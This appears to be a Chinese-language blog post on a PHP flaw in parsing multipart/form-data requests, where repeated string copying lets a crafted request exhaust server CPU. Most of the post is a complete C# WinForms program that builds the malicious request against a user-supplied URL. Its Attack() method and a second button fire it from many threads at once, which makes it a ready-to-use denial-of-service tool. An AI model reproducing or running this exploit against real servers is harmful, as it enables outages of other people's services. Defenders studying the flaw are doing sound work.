php multipart/form-data DOS C#測試載入器

標籤：php   dos   httpwebrequest   c#   漏洞   

根據烏雲網，百度攻防安全實驗室提供的最新漏洞，存在於php各版本：

PHP解析multipart/form-data http請求的body part要求標頭時，重複拷貝字串導致DOS。遠程攻擊者通過發送惡意構造的multipart/form-data請求，導致伺服器CPU資源被耗盡，從而遠程DOS伺服器。

原文連結：http://drops.wooyun.org/papers/6077

大致是因為php解析請求時，是按行讀取資料，然後每讀取一行進行一次記憶體配置和記憶體拷貝，這樣會耗掉n^2的時間，原文的利用方式是Python，現提供C#的代碼：

對本地測試的結果，apache cpu佔用100%：

代碼：

using System;using System.Collections.Generic;using System.Collections.Specialized;using System.ComponentModel;using System.Data;using System.Drawing;using System.IO;using System.Linq;using System.Net;using System.Text;using System.Threading.Tasks;using System.Windows.Forms;using System.Threading;namespace WindowsFormsApplication1{    public partial class Form1 : Form    {        public Form1()        {            InitializeComponent();        }        private void button1_Click(object sender, EventArgs e)        {            string s = HttpPostData().ToString();            s = "回應時間：" + s;            MessageBox.Show(s);        }        private double HttpPostData()        {            string url=this.textBox1.Text;            int timeOut = 10000, lcount = int.Parse(textBox2.Text);            string responseContent;            string fileKeyName = "file";            string filePath = "58.jpg";                        var memStream = new MemoryStream();            var webRequest = (HttpWebRequest)WebRequest.Create(url);            // 邊界符            var boundary = "---------------" + DateTime.Now.Ticks.ToString("x");            // 邊界符            var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n");                       // 最後的結束符            var endBoundary = Encoding.ASCII.GetBytes("--" + boundary + "--\r\n");            // 設定屬性            webRequest.Method = "POST";            webRequest.Timeout = timeOut;            webRequest.ContentType = "multipart/form-data; boundary=" + boundary;            // 寫入檔案            const string filePartHeader =                "Content-Disposition: form-data; name=\"{0}\"; filename=\"s";            var header = string.Format(filePartHeader, fileKeyName);            var headerbytes = Encoding.UTF8.GetBytes(header);            memStream.Write(beginBoundary, 0, beginBoundary.Length);            memStream.Write(headerbytes, 0, headerbytes.Length);            var buffer = new byte[2];            buffer = Encoding.UTF8.GetBytes("a\n");            int bytesRead=2; // =0            for (int i = 0; i < lcount;i++ )                memStream.Write(buffer, 0, bytesRead);            var bb = "\"\nContent-Type: application/octet-stream\r\n\r\ndatadata\r\n";            bb += boundary;            bb += "--";            var body = new byte[1024];            body=Encoding.UTF8.GetBytes(bb);                        memStream.Write(body, 0, Encoding.UTF8.GetByteCount(bb));            // 寫入最後的結束邊界符            memStream.Write(endBoundary, 0, endBoundary.Length);            webRequest.ContentLength = memStream.Length;            var requestStream = webRequest.GetRequestStream();            memStream.Position = 0;            var tempBuffer = new byte[memStream.Length];            memStream.Read(tempBuffer, 0, tempBuffer.Length);            memStream.Close();            requestStream.Write(tempBuffer, 0, tempBuffer.Length);            requestStream.Close();            DateTime d = DateTime.Now;            var httpWebResponse = (HttpWebResponse)webRequest.GetResponse();            using (var httpStreamReader = new StreamReader(httpWebResponse.GetResponseStream(),                                                            Encoding.GetEncoding("utf-8")))            {                responseContent = httpStreamReader.ReadToEnd();            }                       httpWebResponse.Close();            webRequest.Abort();                        return (DateTime.Now-d).TotalSeconds;        }        private void Attack()        {            string url = this.textBox1.Text;            int timeOut = 10000, lcount = int.Parse(textBox2.Text);            string responseContent;            string fileKeyName = "file";            string filePath = "58.jpg";            var memStream = new MemoryStream();            var webRequest = (HttpWebRequest)WebRequest.Create(url);            // 邊界符            var boundary = "---------------" + DateTime.Now.Ticks.ToString("x");            // 邊界符            var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n");            // 最後的結束符            var endBoundary = Encoding.ASCII.GetBytes("--" + boundary + "--\r\n");            // 設定屬性            webRequest.Method = "POST";            webRequest.Timeout = timeOut;            webRequest.ContentType = "multipart/form-data; boundary=" + boundary;            // 寫入檔案            const string filePartHeader =                "Content-Disposition: form-data; name=\"{0}\"; filename=\"s";            var header = string.Format(filePartHeader, fileKeyName);            var headerbytes = Encoding.UTF8.GetBytes(header);            memStream.Write(beginBoundary, 0, beginBoundary.Length);            memStream.Write(headerbytes, 0, headerbytes.Length);            var buffer = new byte[2];            buffer = Encoding.UTF8.GetBytes("a\n");            int bytesRead = 2; // =0            for (int i = 0; i < lcount; i++)                memStream.Write(buffer, 0, bytesRead);            var bb = "\"\nContent-Type: application/octet-stream\r\n\r\ndatadata\r\n";            bb += boundary;            bb += "--";            var body = new byte[1024];            body = Encoding.UTF8.GetBytes(bb);            memStream.Write(body, 0, Encoding.UTF8.GetByteCount(bb));            // 寫入最後的結束邊界符            memStream.Write(endBoundary, 0, endBoundary.Length);            webRequest.ContentLength = memStream.Length;            var requestStream = webRequest.GetRequestStream();            memStream.Position = 0;            var tempBuffer = new byte[memStream.Length];            memStream.Read(tempBuffer, 0, tempBuffer.Length);            memStream.Close();            requestStream.Write(tempBuffer, 0, tempBuffer.Length);            requestStream.Close();            DateTime d = DateTime.Now;            var httpWebResponse = (HttpWebResponse)webRequest.GetResponse();            using (var httpStreamReader = new StreamReader(httpWebResponse.GetResponseStream(),                                                            Encoding.GetEncoding("utf-8")))            {                responseContent = httpStreamReader.ReadToEnd();            }            httpWebResponse.Close();            webRequest.Abort();        }        private void button2_Click(object sender, EventArgs e)        {                        int n = int.Parse(textBox3.Text);             for(int i=0;i<n;i++)            {                new Thread(Attack).Start();            }        }    }}

php multipart/form-data DOS C#測試載入器